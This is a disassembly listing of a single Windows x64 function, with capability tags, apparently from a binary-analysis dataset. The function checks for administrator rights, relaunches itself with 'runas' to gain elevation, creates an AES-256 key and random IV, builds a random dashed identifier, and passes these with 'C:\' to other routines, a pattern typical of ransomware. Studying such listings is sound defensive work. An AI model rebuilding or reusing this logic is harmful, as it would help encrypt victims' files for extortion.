Function at 0x140001cd0
Capabilities:
Create new key via cryptacquirecontext
Create process on windows
Encrypt data using aes via winapi
Generate random numbers via winapi
Get token membership
Terminate process

Disassembly:
push rbp
push rdi
push r14
lea rbp, [rsp - 0x1b0]
sub rsp, 0x2b0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1a0], rax
xor edi, edi
mov word [rbp - 0xc], 0x500
lea rax, [rsp + 0x68]
mov dword [rsp + 0x70], edi
mov qword [rsp + 0x50], rax
lea rcx, [rbp - 0x10]
mov dword [rsp + 0x48], edi
mov r14d, 0x20
mov dword [rsp + 0x40], edi
mov r9d, 0x220
mov dword [rsp + 0x38], edi
mov r8d, r14d
mov dword [rsp + 0x30], edi
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x68], rdi
mov dword [rbp - 0x10], edi
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x140001d67
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x70]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [rsp + 0x70], edi
jne 0x140001de8
mov r8d, 0x104
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x140001de8
xorps xmm0, xmm0
mov dword [rbp - 0x80], 0x70
xor eax, eax
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x14], eax
lea rax, str.runas
movups xmmword [rbp - 0x7c], xmm0
mov qword [rbp - 0x78], rdi
movups xmmword [rbp - 0x6c], xmm0
mov qword [rbp - 0x70], rax
lea rax, [rbp + 0x90]
movups xmmword [rbp - 0x5c], xmm0
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x4c], xmm0
mov dword [rbp - 0x50], edi
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001de8
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov qword [rsp + 0x2d0], rbx
lea rcx, [rbp - 0x10]
mov ebx, 0x2c
mov qword [rsp + 0x2d8], rsi
mov r9d, 0x18
mov dword [rsp + 0x70], ebx
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov esi, 0x10
test eax, eax
je 0x140001ec4
mov rcx, qword [rbp - 0x10]
lea r9, [rsp + 0x68]
mov edx, 0x6610
mov r8d, 1
call qword [sym.imp.ADVAPI32.dll_CryptGenKey]
test eax, eax
je 0x140001eb8
mov rcx, qword [rsp + 0x68]
lea rax, [rsp + 0x70]
mov qword [rsp + 0x28], rax
xor r9d, r9d
lea rax, [rbp + 8]
xor edx, edx
mov r8d, 8
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptExportKey]
test eax, eax
je 0x140001ead
movups xmm0, xmmword [rbp + 0x14]
lea rax, [rbp + 8]
movups xmm1, xmmword [rbp + 0x24]
movups xmmword [rbp + 0x38], xmm0
movups xmmword [rbp + 0x48], xmm1
nop word [rax + rax]
mov byte [rax], dil
lea rax, [rax + 1]
sub rbx, 1
jne 0x140001e90
mov rcx, qword [rbp - 0x10]
lea r8, [rbp - 8]
mov edx, esi
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov rcx, qword [rbp - 0x10]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [0x140003730]
lea rdx, [0x140003738]
movups xmm0, xmmword [str.0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ]
mov dword [rbp + 0x28], eax
xor r9d, r9d
movups xmm1, xmmword [0x140003720]
movzx eax, byte [0x140003734]
lea rcx, [rsp + 0x68]
xor r8d, r8d
mov byte [rbp + 0x2c], al
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm1
call qword [sym.imp.bcrypt.dll_BCryptOpenAlgorithmProvider]
test eax, eax
js 0x140001fad
mov qword [rsp + 0x2e0], r15
mov rbx, rdi
movabs r15, 0xe38e38e38e38e38f
mov rcx, qword [rsp + 0x68]
lea rdx, [rsp + 0x60]
xor r9d, r9d
mov r8d, 1
call qword [sym.imp.bcrypt.dll_BCryptGenRandom]
test eax, eax
js 0x140001f98
movzx eax, byte [rsp + 0x60]
cmp al, 0xfc
jae 0x140001f22
mov ecx, eax
mov rax, r15
mul rcx
shr rdx, 5
lea rax, [rdx + rdx*8]
shl rax, 2
sub rcx, rax
movzx eax, byte [rbp + rcx + 8]
mov byte [rbp + rbx + 0x58], al
inc rbx
inc edi
mov eax, edi
and eax, 0x80000003
jge 0x140001f7d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x140001f8f
cmp rbx, 0x27
jge 0x140001f8f
mov byte [rbp + rbx + 0x58], 0x2d
inc rbx
cmp edi, 0x21
jl 0x140001f22
mov byte [rbp + 0x7f], 0
mov rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.bcrypt.dll_BCryptCloseAlgorithmProvider]
mov r15, qword [rsp + 0x2e0]
lea r8, [rbp + 0x58]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x38]
call fcn.1400010c0
lea r8, [rbp + 0x58]
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x38]
call fcn.140001980
lea r9, [rbp + 0x58]
mov dword [rsp + 0x74], 0x5c3a43
lea r8, [rbp - 8]
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x74]
call fcn.140001730
mov rbx, qword [rsp + 0x2d0]
lea rax, [rbp + 0x38]
nop dword [rax]
mov byte [rax], 0
lea rax, [rax + 1]
sub r14, 1
jne 0x140002000
lea rax, [rbp - 8]
mov byte [rax], 0
lea rax, [rax + 1]
sub rsi, 1
jne 0x140002011
mov rsi, qword [rsp + 0x2d8]
xor eax, eax
mov rcx, qword [rbp + 0x1a0]
xor rcx, rsp
call fcn.140002060
add rsp, 0x2b0
pop r14
pop rdi
pop rbp
ret